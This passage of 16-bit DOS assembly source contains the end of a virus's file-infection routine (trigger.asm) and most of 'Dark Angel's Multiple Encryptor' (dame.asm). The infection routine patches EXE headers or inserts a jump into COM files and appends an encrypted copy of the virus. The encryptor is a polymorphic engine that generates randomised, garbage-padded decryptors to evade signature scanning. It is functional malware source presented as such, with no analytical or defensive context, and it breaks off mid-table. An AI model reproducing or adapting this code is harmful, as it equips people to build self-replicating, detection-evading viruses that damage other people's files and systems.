mov ds:writebuffer+16,ax
|
||
|
||
xchg cx,dx
|
||
|
||
mov ds:writebuffer+0e,ax
|
||
mov ds:writebuffer+10,EXE_ID
|
||
|
||
mov al,10b
|
||
jmp finishinfect
|
||
|
||
infectCOM: ; si = readbuffer, di = writebuffer
|
||
push ax
|
||
|
||
mov cx,4
|
||
xor dx,dx
|
||
check_infection_loop:
|
||
lodsb
|
||
add dl,al
|
||
loop check_infection_loop
|
||
|
||
pop ax
|
||
|
||
or dl,dl
|
||
jz go_already_infected
|
||
|
||
mov dx,18
|
||
cmp ax,dx
|
||
jnb no_fixup_com
|
||
|
||
mov ax,4200
|
||
xor cx,cx
|
||
int 21
|
||
no_fixup_com:
|
||
mov cx,ax
|
||
inc ch ; add cx,100
|
||
sub ax,3
|
||
push ax
|
||
mov al,0e9
|
||
stosb
|
||
pop ax
|
||
stosw
|
||
add al,ah
|
||
add al,0e9
|
||
neg al
|
||
stosb
|
||
|
||
mov al,11b
|
||
finishinfect:
|
||
cbw
|
||
; ax = bitmask
|
||
; bx = start decrypt in carrier file
|
||
; cx = encrypt length
|
||
; dx = start encrypt in virus
|
||
; si = buffer to put decryption routine
|
||
; di = buffer to put encryption routine
|
||
push bx
|
||
|
||
xchg cx,bx
|
||
|
||
xor si,si
|
||
mov di,offset copyvirus
|
||
mov cx,(heap-entry+1)/2
|
||
rep movsw
|
||
|
||
push ax
|
||
call rnd_init_seed
|
||
pop ax
|
||
|
||
mov dx,offset copyvirus
|
||
mov cx,viruslength
|
||
mov si,offset _decryptbuffer
|
||
mov di,offset _encryptbuffer
|
||
call dame
|
||
|
||
push cx
|
||
|
||
cmp ds:writebuffer,'ZM'
|
||
jnz no_fix_header
|
||
|
||
mov dx,ds:writebuffer+2
|
||
mov ax,ds:writebuffer+4
|
||
add cx,viruslength
|
||
add ax,cx
|
||
adc dx,0
|
||
mov cx,200
|
||
div cx
|
||
or dx,dx
|
||
jz nohiccup
|
||
inc ax
|
||
nohiccup:
|
||
mov ds:writebuffer+4,ax
|
||
mov ds:writebuffer+2,dx
|
||
no_fix_header:
|
||
call di
|
||
pop cx
|
||
|
||
pop bx
|
||
|
||
mov ah,40
|
||
mov dx,offset _decryptbuffer
|
||
call callint21
|
||
|
||
mov ah,40
|
||
mov cx,viruslength
|
||
mov dx,offset copyvirus
|
||
call callint21
|
||
|
||
mov ax,4200
|
||
xor cx,cx
|
||
cwd
|
||
int 21
|
||
|
||
mov ah,40
|
||
mov cx,18
|
||
mov dx,offset writebuffer
|
||
call callint21
|
||
jmp already_infected
|
||
|
||
vars = 0
|
||
include dame.asm
|
||
|
||
heap:
|
||
vars = 1
|
||
include dame.asm
|
||
|
||
writebuffer dw 0c dup (?)
|
||
_encryptbuffer: db 80 dup (?)
|
||
_decryptbuffer: db 180 dup (?)
|
||
copyvirus db viruslength dup (?)
|
||
db 20 dup (?)
|
||
endvirus:
|
||
|
||
end entry
|
||
-end trigger.asm----begin dame.asm---------------------------------------------
|
||
ifndef vars
|
||
vars = 2
|
||
endif
|
||
|
||
if vars eq 1
|
||
else
|
||
|
||
_ax = 0
|
||
_cx = 1
|
||
_dx = 2
|
||
_bx = 3
|
||
_sp = 4
|
||
_bp = 5
|
||
_si = 6
|
||
_di = 7
|
||
|
||
_es = 8
|
||
_cs = 9
|
||
_ss = 0a
|
||
_ds = 0bh
|
||
|
||
MAXNEST = 0a ; controls recursion problems
|
||
|
||
; ax = flags
|
||
; 15 : Reserved
|
||
; 14 : 0 = word, 1 = dword
|
||
; 13 : encryption direction : 0 = forwards, 1 = backwards
|
||
; 12 : counter direction : 0 = forwards, 1 = backwards
|
||
; 11 : ^
|
||
; 10 : R
|
||
; 9 : E
|
||
; 8 : S
|
||
; 7 : E
|
||
; 6 : R
|
||
; 5 : V
|
||
; 4 : E
|
||
; 3 : D
|
||
; 2 : v
|
||
; DAME sets the above bits
|
||
;
|
||
; Virus sets the following bits:
|
||
; 1 : garble : 1 = yes, 0 = no
|
||
; 0 : DS = CS : 1 = yes, 0 = no
|
||
; bx = start decrypt in carrier file
|
||
; cx = encrypt length
|
||
; dx = start encrypt
|
||
; si = buffer to put decryption routine
|
||
; di = buffer to put encryption routine
|
||
; ds = current cs
|
||
; es = current cs
|
||
|
||
; Returns:
|
||
; cx = decryption routine length
|
||
; all other registers are preserved.
|
||
|
||
rnd_init_seed:
|
||
push dx
|
||
push cx
|
||
push bx
|
||
mov ah,2C ; get time
|
||
int 21
|
||
|
||
in al,40 ; port 40h, 8253 timer 0 clock
|
||
mov ah,al
|
||
in al,40 ; port 40h, 8253 timer 0 clock
|
||
xor ax,cx
|
||
xor dx,ax
|
||
jmp short rnd_get_loop_done
|
||
get_rand:
|
||
push dx
|
||
push cx
|
||
push bx
|
||
in al,40 ; get from timer 0 clock
|
||
db 5 ; add ax, xxxx
|
||
rnd_get_patch1 dw 0
|
||
db 0BA ; mov dx, xxxx
|
||
rnd_get_patch2 dw 0
|
||
mov cx,7
|
||
|
||
rnd_get_loop:
|
||
shl ax,1
|
||
rcl dx,1
|
||
mov bl,al
|
||
xor bl,dh
|
||
jns rnd_get_loop_loc
|
||
inc al
|
||
rnd_get_loop_loc:
|
||
loop rnd_get_loop
|
||
|
||
rnd_get_loop_done:
|
||
mov rnd_get_patch1,ax
|
||
mov rnd_get_patch2,dx
|
||
mov al,dl
|
||
pop bx
|
||
pop cx
|
||
pop dx
|
||
retn
|
||
|
||
reg_xlat_table:
|
||
db 10000111b ; bx
|
||
db 0 ; sp
|
||
db 10000110b ; bp
|
||
db 10000100b ; si
|
||
db 10000101b ; di
|
||
|
||
aligntable db 3,7,0f,1f
|
||
|
||
redo_dame:
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
dame: ; Dark Angel's Multiple Encryptor
|
||
cld
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
call _dame
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop bx ; return value in cx
|
||
pop bx
|
||
pop ax
|
||
ret
|
||
|
||
_dame:
|
||
; set up variables
|
||
cld
|
||
|
||
push ax
|
||
|
||
mov ax,offset _encryptpointer
|
||
xchg ax,di ; pointer to encryption routine buffer
|
||
stosw
|
||
xchg si,ax ; pointer to decryption routine buffer
|
||
stosw
|
||
|
||
stosw
|
||
|
||
xchg ax,dx ; starting offset of encryption
|
||
stosw
|
||
xchg ax,bx ; starting offset of decryption routine
|
||
stosw
|
||
|
||
xchg cx,dx ; dx = encrypt size
|
||
|
||
call clear_used_regs
|
||
mov cx,(endclear1 - beginclear1) / 2
|
||
rep stosw
|
||
|
||
call get_rand
|
||
and ax,not 3
|
||
|
||
pop cx
|
||
xor cx,ax ; cx = bitmask
|
||
|
||
call get_rand_bx
|
||
and bx,3
|
||
mov al,byte ptr [bx+aligntable]
|
||
cbw
|
||
add dx,ax ; round up
|
||
not ax
|
||
and dx,ax
|
||
|
||
mov ax,dx ; new encryption length
|
||
stosw ; _encrypt_length
|
||
|
||
shr ax,1
|
||
test ch,40 ; dword?
|
||
jz word_encryption
|
||
shr ax,1
|
||
word_encryption:
|
||
test ch,10
|
||
jnz counter_backwards
|
||
neg ax
|
||
counter_backwards:
|
||
stosw ; _counter_value
|
||
|
||
xchg ax,dx ; get encryption length in bytes
|
||
|
||
test ch,20
|
||
jnz encrypt_forwards
|
||
neg ax ; pointer to start of decryption
|
||
encrypt_forwards:
|
||
stosw ; _pointer_value
|
||
|
||
call get_rand
|
||
stosw ; encryption value = _decrypt_value
|
||
|
||
mov ax,8484
|
||
stosb
|
||
push di
|
||
stosw
|
||
stosb
|
||
pop di
|
||
|
||
call one_in_two
|
||
js s1
|
||
call get_another
|
||
stosb
|
||
call get_rand
|
||
mov _pointer_value,ax
|
||
dec di
|
||
s1:
|
||
inc di
|
||
|
||
jmp short gbxoh_skip
|
||
get_bx_or_higher:
|
||
call clear_reg
|
||
gbxoh_skip:
|
||
call get_another
|
||
cmp al,_bx
|
||
jb get_bx_or_higher
|
||
stosb ; _pointer_reg
|
||
|
||
call one_in_two
|
||
js s2
|
||
call get_another
|
||
stosb ; _encrypt_reg
|
||
s2:
|
||
|
||
; encode setup part of decryption
|
||
call clear_used_regs
|
||
encode_setup:
|
||
mov di,_decryptpointer
|
||
call twogarble
|
||
|
||
mov si,offset _dummy_reg
|
||
push si
|
||
encode_setup_get_another:
|
||
call get_rand_bx
|
||
and bx,3
|
||
mov al,[si+bx]
|
||
cbw
|
||
test al,80
|
||
jnz encode_setup_get_another
|
||
or byte ptr [bx+_dummy_reg],80
|
||
mov si,ax
|
||
inc byte ptr [si+offset _used_regs]
|
||
|
||
add bx,bx
|
||
mov dx,word ptr [bx+_counter_value-2]
|
||
|
||
mov _nest,0
|
||
call mov_reg_xxxx
|
||
call twogarble
|
||
call swap_decrypt_encrypt
|
||
|
||
push cx
|
||
and cl,not 3
|
||
call _mov_reg_xxxx
|
||
pop cx
|
||
|
||
mov _encryptpointer,di
|
||
|
||
pop si
|
||
mov dx,4
|
||
encode_setup_check_if_done:
|
||
lodsb
|
||
test al,80
|
||
jz encode_setup
|
||
dec dx
|
||
jnz encode_setup_check_if_done
|
||
|
||
mov si,offset _encryptpointer
|
||
mov di,offset _loopstartencrypt
|
||
movsw
|
||
movsw
|
||
|
||
; encode decryption part of loop
|
||
mov _relocate_amt,0
|
||
call do_encrypt1
|
||
test ch,40
|
||
jz dont_encrypt2
|
||
|
||
mov _relocate_amt,2
|
||
call do_encrypt1
|
||
dont_encrypt2:
|
||
mov bx,offset _loopstartencrypt
|
||
push cx
|
||
and cl,not 3
|
||
call encodejmp
|
||
pop cx
|
||
|
||
mov ax,0c3fc ; cld, ret
|
||
stosw
|
||
|
||
mov si,offset _encrypt_relocator
|
||
mov di,_start_encrypt
|
||
|
||
push cx
|
||
call relocate
|
||
pop cx
|
||
|
||
mov bx,offset _loopstartdecrypt
|
||
call encodejmp
|
||
call fourgarble
|
||
mov _decryptpointer,di
|
||
|
||
mov si,offset _decrypt_relocator
|
||
sub di,_decryptpointer2
|
||
add di,_start_decrypt
|
||
relocate:
|
||
test ch,20
|
||
jz do_encrypt_backwards
|
||
add di,_encrypt_length
|
||
do_encrypt_backwards:
|
||
sub di,_pointer_value
|
||
mov cx,word ptr [si-2]
|
||
jcxz exit_relocate
|
||
xchg ax,di
|
||
relocate_loop:
|
||
xchg ax,di
|
||
lodsw
|
||
xchg ax,di
|
||
add [di],ax
|
||
loop relocate_loop
|
||
exit_relocate:
|
||
mov di,_decryptpointer
|
||
mov cx,di
|
||
sub cx,_decryptpointer2
|
||
ret
|
||
|
||
do_encrypt1:
|
||
call playencrypt
|
||
call encryption
|
||
call playencrypt
|
||
ret
|
||
|
||
encodejmp:
|
||
mov di,word ptr [bx+_encryptpointer-_loopstartencrypt]
|
||
|
||
push bx
|
||
mov _nest,0
|
||
mov al,_pointer_reg
|
||
and ax,7
|
||
mov dx,2
|
||
test ch,40
|
||
jz update_pointer1
|
||
shl dx,1
|
||
update_pointer1:
|
||
test ch,20
|
||
jz update_pointer2
|
||
neg dx
|
||
update_pointer2:
|
||
call add_reg_xxxx
|
||
|
||
mov dl,75 ; jnz
|
||
|
||
mov al,_counter_reg
|
||
and ax,7
|
||
cmp al,_sp
|
||
jz do_jnz
|
||
|
||
push dx
|
||
mov dx,1
|
||
|
||
test ch,10 ; check counter direction
|
||
jz go_counter_forwards
|
||
|
||
cmp al,_cx
|
||
jnz regular
|
||
call one_in_two
|
||
js regular
|
||
|
||
pop dx
|
||
call get_rand_bx
|
||
xchg bx,dx
|
||
and dl,2
|
||
or dl,0e0 ; loop/loopnz
|
||
jmp short do_jnz
|
||
regular:
|
||
neg dx
|
||
go_counter_forwards:
|
||
call add_reg_xxxx
|
||
pop dx
|
||
do_jnz:
|
||
pop bx
|
||
mov ax,[bx]
|
||
sub ax,di
|
||
dec ax
|
||
dec ax
|
||
xchg ah,al
|
||
mov al,dl ; jnz
|
||
|
||
test ah,80
|
||
jnz jmplocation_okay
|
||
|
||
pop ax
|
||
pop ax
|
||
jmp redo_dame
|
||
jmplocation_okay:
|
||
stosw
|
||
mov word ptr [bx+_encryptpointer-_loopstartencrypt],di
|
||
ret
|
||
|
||
swap_decrypt_encrypt:
|
||
mov _nest,MAXNEST
|
||
mov _decryptpointer,di
|
||
mov di,_encryptpointer
|
||
ret
|
||
|
||
playencrypt:
|
||
mov di,_decryptpointer
|
||
call twogarble
|
||
|
||
mov al,_encrypt_reg
|
||
and ax,7
|
||
cmp al,4 ; is there an encryption register?
|
||
jz swap_decrypt_encrypt
|
||
|
||
call get_rand_bx ; 3/4 chance of doing something
|
||
cmp bl,0c0
|
||
ja swap_decrypt_encrypt
|
||
|
||
call _playencrypt
|
||
call handle_jmp_table_nogarble
|
||
finish_encryption:
|
||
call swap_decrypt_encrypt
|
||
push cx
|
||
and cl,not 3
|
||
call [bx+si+1]
|
||
pop cx
|
||
mov _encryptpointer,di
|
||
ret
|
||
|
||
_playencrypt:
|
||
mov _nest,0
|
||
call one_in_two
|
||
js get_used_register
|
||
|
||
call get_rand_bx
|
||
mov si,offset oneregtable
|
||
jmp short continue_playencrypt
|
||
|
||
get_used_register:
|
||
call get_rand_bx
|
||
and bx,7
|
||
cmp bl,_sp
|
||
jz get_used_register
|
||
cmp byte ptr [bx+_used_regs],0
|
||
jz get_used_register
|
||
mov si,offset tworegtable
|
||
continue_playencrypt:
|
||
xchg dx,bx
|
||
ret
|
||
|
||
encryption:
|
||
mov di,_decryptpointer
|
||
call twogarble
|
||
mov al,_pointer_reg
|
||
and ax,7
|
||
mov bx,offset reg_xlat_table-3
|
||
xlat
|
||
|
||
mov bp,offset _decrypt_relocate_num
|
||
call _playencrypt
|
||
call go_next
|
||
call handle_jmp_table_nogarble
|
||
|
||
mov bp,offset _encrypt_relocate_num
|
||
call go_next
|
||
jmp short finish_encryption
|
||
|
||
go_next:
|
||
push ax
|
||
lodsb
|
||
cbw
|
||
add si,ax
|
||
pop ax
|
||
inc si
|
||
inc si
|
||
ret
|
||
|
||
clear_used_regs:
|
||
xor ax,ax
|
||
mov di,offset _used_regs
|
||
stosw
|
||
stosw
|
||
inc ax
|
||
stosw
|
||
dec ax
|
||
stosw
|
||
ret
|
||
|
||
get_another:
|
||
call get_rand
|
||
and ax,7
|
||
mov si,ax
|
||
cmp [si+_used_regs],0
|
||
jnz get_another
|
||
inc [si+_used_regs]
|
||
ret
|
||
|
||
clear_reg_dx:
|
||
xchg ax,dx
|
||
clear_reg:
|
||
mov si,ax
|
||
mov byte ptr [si+_used_regs],0
|
||
ret
|
||
|
||
free_regs: ; check for free registers
|
||
; zero flag if OK
|
||
push ax
|
||
push cx
|
||
push di
|
||
mov di,offset _used_regs
|
||
mov cx,8
|
||
xor ax,ax
|
||
repne scasb
|
||
pop di
|
||
pop cx
|
||
pop ax
|
||
ret
|
||
|
||
one_in_two:
|
||
push ax
|
||
call get_rand
|
||
or ax,ax
|
||
pop ax
|
||
ret
|
||
|
||
get_rand_bx:
|
||
xchg ax,bx
|
||
call get_rand
|
||
xchg ax,bx
|
||
return:
|
||
ret
|
||
|
||
fourgarble:
|
||
call twogarble
|
||
twogarble:
|
||
mov _nest,0
|
||
call garble
|
||
garble: ; ax, dx preserved
|
||
call free_regs
|
||
jne return
|
||
|
||
test cl,2
|
||
jz return
|
||
|
||
push ax
|
||
push dx
|
||
|
||
call get_rand ; random # to dx
|
||
xchg ax,dx
|
||
call get_another ; random reg in al
|
||
call clear_reg ; don't mark as used
|
||
|
||
mov si,offset garbletable
|
||
jmp short handle_jmp_table_nopush_ax_dx
|
||
|
||
handle_jmp_table: ; ax,dx preserved
|
||
push si
|
||
call garble
|
||
pop si
|
||
handle_jmp_table_nogarble:
|
||
push ax
|
||
push dx
|
||
handle_jmp_table_nopush_ax_dx:
|
||
push si
|
||
|
||
push cx
|
||
xchg ax,cx
|
||
lodsb ; get mask value
|
||
cbw
|
||
xchg ax,cx
|
||
call get_rand_bx
|
||
and bx,cx
|
||
pop cx
|
||
|
||
inc _nest
|
||
cmp _nest,MAXNEST
|
||
jb not_max_nest
|
||
xor bx,bx
|
||
not_max_nest:
|
||
push bx
|
||
call [bx+si]
|
||
pop bx
|
||
pop si
|
||
pop dx
|
||
pop ax
|
||
|
||
ret
|
||
|
||
garble_tworeg:
|
||
mov si,offset tworegtable
|
||
and dx,7
|
||
jmp short handle_jmp_table_nogarble
|
||
garble_onereg:
|
||
mov si,offset oneregtable
|
||
jmp short handle_jmp_table_nogarble
|
||
garble_onebyte:
|
||
xchg ax,dx
|
||
and al,7
|
||
mov bx,offset onebytetable
|
||
xlat
|
||
stosb
|
||
ret
|
||
garble_jmpcond:
|
||
xchg ax,dx
|
||
and ax,0f
|
||
or al,70
|
||
stosw
|
||
ret
|
||
|
||
_push:
|
||
or al,al
|
||
js _push_mem
|
||
add al,50
|
||
stosb
|
||
ret
|
||
_push_mem:
|
||
add ax,0ff30
|
||
jmp short go_mod_xxx_rm1
|
||
|
||
_pop:
|
||
or al,al
|
||
js _pop_mem
|
||
add al,58
|
||
stosb
|
||
ret
|
||
_pop_mem:
|
||
mov ah,8f
|
||
go_mod_xxx_rm1:
|
||
jmp mod_xxx_rm
|
||
|
||
mov_reg_xxxx:
|
||
mov si,offset mov_reg_xxxx_table
|
||
go_handle_jmp_table1:
|
||
jmp short handle_jmp_table
|
||
|
||
_mov_reg_xxxx_mov_add:
|
||
call get_rand_bx
|
||
push bx
|
||
sub dx,bx
|
||
call mov_reg_xxxx
|
||
pop dx
|
||
jmp short go_add_reg_xxxx
|
||
|
||
_mov_reg_xxxx_mov_al_ah:
|
||
cmp al,_sp
|
||
jae _mov_reg_xxxx
|
||
push ax
|
||
push dx
|
||
call _mov_al_xx
|
||
pop dx
|
||
pop ax
|
||
xchg dh,dl
|
||
jmp short _mov_ah_xx
|
||
|
||
_mov_reg_xxxx_mov_xor:
|
||
call get_rand_bx
|
||
push bx
|
||
xor dx,bx
|
||
call mov_reg_xxxx
|
||
pop dx
|
||
jmp xor_reg_xxxx
|
||
|
||
_mov_reg_xxxx_xor_add:
|
||
push dx
|
||
mov dx,ax
|
||
call xor_reg_reg
|
||
pop dx
|
||
go_add_reg_xxxx:
|
||
jmp add_reg_xxxx
|
||
|
||
_mov_reg_xxxx_mov_rol:
|
||
ror dx,1
|
||
call mov_reg_xxxx
|
||
jmp short _rol
|
||
|
||
_mov_reg_xxxx_mov_ror:
|
||
rol dx,1
|
||
call mov_reg_xxxx
|
||
_ror:
|
||
or al,8
|
||
_rol:
|
||
mov ah,0d1
|
||
jmp mod_xxx_rm
|
||
|
||
|
||
_mov_reg_xxxx:
|
||
add al,0B8
|
||
stosb
|
||
xchg ax,dx
|
||
stosw
|
||
ret
|
||
|
||
mov_ah_xx:
|
||
_mov_ah_xx:
|
||
add al,04
|
||
mov_al_xx:
|
||
_mov_al_xx:
|
||
add al,0B0
|
||
mov ah,dl
|
||
stosw
|
||
ret
|
||
|
||
mov_reg_reg:
|
||
mov si,offset mov_reg_reg_table
|
||
jmp short go_handle_jmp_table1
|
||
|
||
_mov_reg_reg_push_pop:
|
||
push ax
|
||
xchg dx,ax ; al = reg2
|
||
call _push ; push reg2
|
||
pop ax ; al = reg1
|
||
jmp _pop ; pop reg1
|
||
_mov_reg_reg:
|
||
mov ah,08Bh
|
||
jmp short _mod_reg_rm_direction
|
||
|
||
mov_xchg_reg_reg:
|
||
call one_in_two
|
||
js mov_reg_reg
|
||
|
||
xchg_reg_reg:
|
||
mov si,offset xchg_reg_reg_table
|
||
jmp handle_jmp_table
|
||
|
||
_xchg_reg_reg_push_pop:
|
||
push dx ; save reg2
|
||
push ax ; save reg1
|
||
push dx
|
||
call _push ; push reg1
|
||
pop ax
|
||
call _push ; push reg2
|
||
pop ax
|
||
call _pop ; pop reg1
|
||
pop ax
|
||
jmp _pop ; pop reg2
|
||
|
||
_xchg_reg_reg_3rd_reg:
|
||
call free_regs
|
||
jne _xchg_reg_reg
|
||
|
||
push dx ; save reg2
|
||
push ax ; save reg1
|
||
call get_another
|
||
call mov_xchg_reg_reg ; mov/xchg reg3, reg2
|
||
pop dx ; get reg1
|
||
call xchg_reg_reg ; xchg reg3, reg1
|
||
pop dx ; get reg2
|
||
xchg ax,dx ; ax=reg2, dx=reg3
|
||
call mov_xchg_reg_reg ; mov/xchg reg2, reg3
|
||
jmp clear_reg_dx
|
||
|
||
_xchg_reg_reg:
|
||
or al,al
|
||
js __xchg_reg_reg
|
||
|
||
cmp al,dl
|
||
jg _xchg_reg_reg_skip
|
||
xchg al,dl
|
||
_xchg_reg_reg_skip:
|
||
or dl,dl
|
||
jz _xchg_ax_reg
|
||
__xchg_reg_reg:
|
||
xchg al,dl
|
||
mov ah,87
|
||
jmp short _mod_reg_rm
|
||
_xchg_ax_reg:
|
||
add al,90
|
||
stosb
|
||
ret
|
||
|
||
xor_reg_xxxx_xor_xor:
|
||
call get_rand_bx
|
||
push bx
|
||
xor dx,bx
|
||
call xor_reg_xxxx
|
||
pop dx
|
||
jmp short xor_reg_xxxx
|
||
|
||
xor_reg_xxxx:
|
||
mov si,offset xor_reg_xxxx_table
|
||
jmp handle_jmp_table
|
||
|
||
_xor_reg_xxxx:
|
||
or al,030
|
||
jmp _81h_
|
||
|
||
xor_reg_reg:
|
||
mov si,offset xor_reg_reg_table
|
||
jmp handle_jmp_table
|
||
|
||
_xor_reg_reg:
|
||
mov ah,33
|
||
_mod_reg_rm_direction:
|
||
or al,al
|
||
js dodirection
|
||
or dl,dl
|
||
js _mod_reg_rm
|
||
call one_in_two
|
||
js _mod_reg_rm
|
||
dodirection:
|
||
xchg al,dl
|
||
sub ah,2
|
||
_mod_reg_rm:
|
||
shl al,1
|
||
shl al,1
|
||
shl al,1
|
||
or al,dl
|
||
mod_xxx_rm:
|
||
or al,al
|
||
js no_no_reg
|
||
|
||
or al,0c0
|
||
no_no_reg:
|
||
xchg ah,al
|
||
|
||
test ah,40
|
||
jnz exit_mod_reg_rm
|
||
|
||
test cl,1
|
||
jnz continue_mod_xxx_rm
|
||
|
||
push ax
|
||
mov al,2e
|
||
stosb
|
||
pop ax
|
||
continue_mod_xxx_rm:
|
||
stosw
|
||
|
||
mov si,cs:[bp] ; need cs: overrides on bp
|
||
add si,si
|
||
mov cs:[si+bp+2],di
|
||
inc word ptr cs:[bp]
|
||
|
||
mov al,_relocate_amt
|
||
cbw
|
||
exit_mod_reg_rm:
|
||
stosw
|
||
ret
|
||
|
||
add_reg_reg:
|
||
mov si,offset add_reg_reg_table
|
||
jmp handle_jmp_table
|
||
|
||
_add_reg_reg:
|
||
mov ah,3
|
||
jmp short _mod_reg_rm_direction
|
||
|
||
sub_reg_reg:
|
||
mov si,offset sub_reg_reg_table
|
||
jmp handle_jmp_table
|
||
|
||
_sub_reg_reg:
|
||
mov ah,2bh
|
||
jmp short _mod_reg_rm_direction
|
||
|
||
_add_reg_xxxx_inc_add:
|
||
call inc_reg
|
||
dec dx
|
||
jmp short add_reg_xxxx
|
||
|
||
_add_reg_xxxx_dec_add:
|
||
call dec_reg
|
||
inc dx
|
||
jmp short add_reg_xxxx
|
||
|
||
_add_reg_xxxx_add_add:
|
||
call get_rand_bx
|
||
push bx
|
||
sub dx,bx
|
||
call add_reg_xxxx
|
||
pop dx
|
||
jmp short add_reg_xxxx
|
||
|
||
add_reg_xxxx1:
|
||
neg dx
|
||
add_reg_xxxx:
|
||
or dx,dx
|
||
jnz cont
|
||
return1:
|
||
ret
|
||
cont:
|
||
mov si,offset add_reg_xxxx_table
|
||
jmp handle_jmp_table
|
||
|
||
_add_reg_xxxx:
|
||
or al,al
|
||
jz _add_ax_xxxx
|
||
_81h_:
|
||
or al,al
|
||
js __81h
|
||
add al,0c0
|
||
__81h:
|
||
mov ah,81
|
||
call mod_xxx_rm
|
||
_encode_dx_:
|
||
xchg ax,dx
|
||
stosw
|
||
ret
|
||
_add_ax_xxxx:
|
||
mov al,5
|
||
_encode_al_dx_:
|
||
stosb
|
||
jmp short _encode_dx_
|
||
|
||
sub_reg_xxxx1:
|
||
neg dx
|
||
sub_reg_xxxx:
|
||
_sub_reg_xxxx:
|
||
or dx,dx
|
||
jz return1
|
||
|
||
or al,al
|
||
jz _sub_ax_xxxx
|
||
add al,028
|
||
jmp short _81h_
|
||
_sub_ax_xxxx:
|
||
mov al,2dh
|
||
jmp short _encode_al_dx_
|
||
|
||
dec_reg:
|
||
push ax
|
||
add al,8
|
||
jmp short _dec_inc_reg
|
||
inc_reg:
|
||
push ax
|
||
_dec_inc_reg:
|
||
or al,al
|
||
jns _norm_inc
|
||
mov ah,0ff
|
||
call mod_xxx_rm
|
||
pop ax
|
||
ret
|
||
_norm_inc:
|
||
add al,40
|
||
stosb
|
||
pop ax
|
||
ret
|
||
|
||
_mov_reg_reg_3rd_reg:
|
||
mov bx,offset mov_reg_reg
|
||
mov si,offset mov_xchg_reg_reg
|
||
jmp short reg_to_reg
|
||
|
||
xor_reg_reg_reg_reg:
|
||
mov bx,offset _xor_reg_reg
|
||
jmp short reg_to_reg1
|
||
add_reg_reg_reg_reg:
|
||
mov bx,offset _add_reg_reg
|
||
jmp short reg_to_reg1
|
||
sub_reg_reg_reg_reg:
|
||
mov bx,offset _sub_reg_reg
|
||
reg_to_reg1:
|
||
mov si,bx
|
||
reg_to_reg:
|
||
call free_regs
|
||
jne no_free_regs
|
||
|
||
push ax
|
||
push si
|
||
call get_another
|
||
call mov_reg_reg ; mov reg3, reg2
|
||
pop si
|
||
pop dx ; ax=reg3, dx=reg1
|
||
xchg ax,dx ; ax=reg1, dx=reg3
|
||
|
||
push dx
|
||
call si
|
||
pop dx
|
||
go_clear_reg_dx:
|
||
jmp clear_reg_dx
|
||
|
||
_xor_reg_xxxx_reg_reg:
|
||
mov bx,offset xor_reg_xxxx
|
||
mov si,offset xor_reg_reg
|
||
xxxx_to_reg:
|
||
call free_regs
|
||
jne no_free_regs
|
||
|
||
push ax
|
||
push si
|
||
call get_another
|
||
call mov_reg_xxxx
|
||
xchg ax,dx
|
||
pop si
|
||
pop ax
|
||
|
||
push dx
|
||
call si
|
||
pop dx
|
||
jmp short go_clear_reg_dx
|
||
no_free_regs:
|
||
jmp bx
|
||
|
||
_add_reg_xxxx_reg_reg:
|
||
mov bx,offset add_reg_xxxx
|
||
mov si,offset add_reg_reg
|
||
jmp short xxxx_to_reg
|
||
|
||
_mov_reg_xxxx_reg_reg:
|
||
mov bx,offset mov_reg_xxxx
|
||
mov si,offset mov_xchg_reg_reg
|
||
jmp short xxxx_to_reg
|
||
|
||
garbletable:
|
||
db garbletableend - $ - 3
|
||
dw offset return
|
||
dw offset return
|
||
dw offset garble_tworeg
|
||
dw offset garble_tworeg
|
||
dw offset garble_onereg
|
||
dw offset garble_onereg
|
||
dw offset garble_onebyte
|
||
dw offset garble_jmpcond
|
||
garbletableend:
|
||
|
||
onebytetable:
|
||
clc
|
||
cmc
|
||
stc
|
||
cld
|
||
std
|
||
sti
|
||
int 3
|
||
lock
|
||
|
||
oneregtable:
|
||
db oneregtableend - $ - 3
|
||
dw offset xor_reg_xxxx
|
||
dw offset mov_reg_xxxx
|
||
dw offset sub_reg_xxxx
|
||
dw offset add_reg_xxxx
|
||
dw offset dec_reg
|
||
dw offset inc_reg
|
||
dw offset _ror
|
||
dw offset _rol
|
||
oneregtableend:
|
||
|
||
oneregtable1:
|
||
db oneregtable1end - $ - 3
|
||
dw offset xor_reg_xxxx
|
||
dw offset sub_reg_xxxx
|
||
dw offset add_reg_xxxx
|
||
dw offset add_reg_xxxx
|
||
dw offset dec_reg
|
||
dw offset inc_reg
|
||
dw offset _ror
|
||
dw offset _rol
|
||
oneregtable1end:
|
||
|
||
oneregtable2:
|
||
db oneregtable2end - $ - 3
|
||
dw offset xor_reg_xxxx
|
||
dw offset add_reg_xxxx
|
||
dw offset sub_reg_xxxx
|
||
dw offset sub_reg_xxxx
|
||
dw offset inc_reg
|
||
dw offset dec_reg
|
||
dw offset _rol
|
||
dw offset _ror
|
||
oneregtable2end:
|
||
|
||
tworegtable:
|
||
db tworegtableend - $ - 3
|
||
dw offset xor_reg_reg
|
||
dw offset mov_reg_reg
|
||
dw offset sub_reg_reg
|
||
dw offset add_reg_reg
|
||
tworegtableend:
|
||
|
||
tworegtable1:
|
||
db tworegtable1end - $ - 3
|
||
dw offset xor_reg_reg
|
||
dw offset xor_reg_reg
|
||
dw offset sub_reg_reg
|
||
dw offset add_reg_reg
|
||
tworegtable1end:
|
||
|
||
tworegtable2:
|
||
db tworegtable2end - $ - 3
|
||
dw offset xor_reg_reg
|
||
dw offset xor_reg_reg
|
||
dw offset add_reg_reg
|
||
dw offset sub_reg_reg
|
||
tworegtable2end:
|
||
|
||
mov_reg_xxxx_table:
|
||
db mov_reg_xxxx_table_end - $ - 3
|
||
dw offset _mov_reg_xxxx
|
||
dw offset _mov_reg_xxxx_reg_reg
|
||
dw offset _mov_reg_xxxx_mov_add
|
||
dw offset _mov_reg_xxxx_mov_al_ah
|
||
dw offset _mov_reg_xxxx_mov_xor
|
||
dw offset _mov_reg_xxxx_xor_add
|
||
dw offset _mov_reg_xxxx_mov_rol
|
||
dw offset _mov_reg_xxxx_mov_ror
|
||
|
||
mov_reg_xxxx_table_end:
|
||
|
||
mov_reg_reg_table:
|
||
db mov_reg_reg_table_end - $ - 3
|
||
dw offset _mov_reg_reg
|
||
dw offset _mov_reg_reg
|
||
dw offset _mov_reg_reg_3rd_reg
|
||
dw offset _mov_reg_reg_push_pop
|
||
mov_reg_reg_table_end:
|
||
|
||
xchg_reg_reg_table:
|
||
